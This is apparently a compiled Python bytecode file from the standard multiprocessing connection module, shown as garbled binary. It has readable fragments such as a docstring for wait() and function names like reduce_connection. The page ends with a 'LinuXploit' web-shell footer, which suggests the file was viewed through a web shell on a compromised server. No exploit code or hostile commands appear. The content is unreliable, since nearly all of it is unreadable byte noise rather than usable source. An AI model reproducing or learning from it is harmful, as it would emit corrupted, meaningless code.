P08wgK_STP,pTP%T4T^8XgK�\!TR4'gK�RTnK�	i;iuupi)�
Wait till an object in object_list is ready/readable.

Returns list of those objects in object_list which are ready/readable.
Nr�g�?rhT:Nr�NFr�c3�6<"�TFpSV,x�K	R#5irr�)r�r��waithandle_to_objs& �rr��wait.<locals>.<genexpr>�s����I�=�a�.�q�1�1�=�r�)�r�)r�intr��setror�r�rQr��
_ready_errorsr�r�r�r/�getwindowsversionr�r1r��add�AttributeErrorr?r�keysr�r��update)�object_listr�ov_list�
ready_objects�
ready_handles�orhr�r�r�rhrs&&         @rr�r�;s,����?��G�
�q�[��G��'�D�.�3�.�/�G��;�'��������
���
�6	8� ��$�$�Q��1�F�
"�")�"2�"2�6�8�Q��"E���
�g�6�6�6����r�*�67�)�"�(�(�3�
�#�"7�"7�"9�"�"=��"G�1�)+�)?�)?��)F���$'�7�1�6J�+K�+K�7;�� 4�%�)�)�!�,�"#��=!�@-�->�-C�-C�-E�w�O�M����	�	�������3�3�D�9�F�A�
�'�9�9�9�)�"�(�(�3�A�!�%�%�a�(��a�x�#�1�&:�;�;�37�A�0�� 	���I�=�I�I�&�=�;�a�}�*<���;�=�=��_#�"�"&��
�
�C��m�3�!�4��"�� $+�1�&'�j�j���1��-&�9�78�%�a�k�k�m�4�9��N���*�*�C��-�/��0�������	�	�������3�3�D�9�F�A�s�����*�*�C��-�/��0�����'�9�9�9�)�"�(�(�3�A�!�%�%�a�(��a�x�#�1�&:�;�;�37�A�0���">s��K�I-�'H�>K�!K�'I�:K�A
K�+J�N�
N�I�!I�:K�I�K�I*�I%�K�%I*�*K�-J�K�J�K�K�J<�<K�N�$K8�7N�8L%	�L 	�N� L%	�%N�?(N�,N�N�PollSelectorc���\4;_uu_4pVF#pVPV\P4K%	Ve\P
!4V,pVP
V4pV'd+VUUu.uFwrgVPNK	uppuuRRR4#VfKJX\P
!4,
pV^8gKoVuuRRR4#uuppi +'giR#;i)rN)�
_WaitSelector�register�	selectors�
EVENT_READrr�select�fileobj)rr�selectorr��deadliner��key�eventss&&      rr�r��s����_�_��"���!�!�#�y�';�';�<�#��"��>�>�+�g�5��� ����0���=B�C�U�M�S�C�K�K�U�C��_��*�"*�T�^�^�-=�"=��"�Q�;�#(��_��D��_�_�s6�A#C�7C�<C
�C�!C�' C�C�C�C/	c�B�VP4p\P!V\P\P4;_uu_4p^RIHpVPV4p\W@PVP33uuRRR4# +'giR#;i)r�)�resource_sharerN)rhr2�fromfdr
�SOCK_STREAMr�r"�	DupSocket�rebuild_connectionrErF)r�rDr�r"�dss&    r�reduce_connectionr(�sd�������
�]�]�6�6�>�>�6�3E�3E�
F�
F�!�)� �*�*�1�-�B�%��M�M�4�=�=�'I�I�G�
F�
F�
F�s�
5B
�
B	c�V�VP4p\VP4W4#r�rGr�)r'rErF�socks&&& rr&r&�s ���y�y�{���$�+�+�-��<�<rc�"�VP'd\PM^VP'd\PM^,p\
P!VP4V4p\W PVP33#r�)	rEr��FILE_GENERIC_READrF�FILE_GENERIC_WRITEr�	DupHandlerh�rebuild_pipe_connection)r�rc�dhs&  r�reduce_pipe_connectionr2�s`��04�
�
�
�7�,�,�1�15����7�-�-�A�G��
�
 �
 ������
7��&��]�]�D�M�M�(J�J�Jrc�:�VP4p\W1V4#r)rGr�)r1rErFrDs&&& rr0r0�s��������f��9�9rc��\P!VP44p\WPVP
33#r)r�DupFdrhr&rErF)r��dfs& rr(r(�s.��
�_�_�T�[�[�]�
+��!�B�
�
�t�}�}�#E�E�Erc�:�VP4p\W1V4#rr*)r6rErF�fds&&& rr&r&�s��
�Y�Y�[���"��1�1r)rrrPr�i)NNr~>�md5�sha256�sha384�sha3_256�sha3_384)r�r)U�__all__r�r�rr$r/r2rr!rr�rrr�contextr�ForkingPicklerr~rr�rr	r
r�ImportErrorr0r��CONNECTION_TIMEOUTr r'r!r�familiesr1rrr-r3r;r=r�r�r�rrrPr$r@rr?r�r�r�r��	frozensetr��maxr�r��_MD5_DIGEST_LENr�r�r�r�r,r-r�r�r�r�r�rr��ERROR_NETNAME_DELETEDr
r�rrr�SelectSelectorr(r&rr2r0r�rr�<module>rIs���3���	��	�
�
�
����1���*�*�����O�O��������!�
������;��
�6�9����N�����H��<�<�7���N�����H�-�&� �0�
F�
F�&X�X�v�g��g�TN��N�jG�v�G�T
�*�<�<�7���&/�j)�V�)�X&��<�<�7��6,�v�6,�p!�>��
�
�����r�@�B���7�&6�7�7������*�O�<��2�4?�8?�2(�*>�*
��
�H��>�(�>�L��<�<�7���@�.�.��0M�0M�N�M�L>�`�
�y�.�)�)�!�.�.�
�!�0�0�
�)�6�<�<�7��J�=����z�#4�5�K�
:����~�'=�>�F�2����z�#4�5��Y%��
�|�|�w��
��G��s�
I'�'J�J

Youez - 2016 - github.com/yon3zu
LinuXploit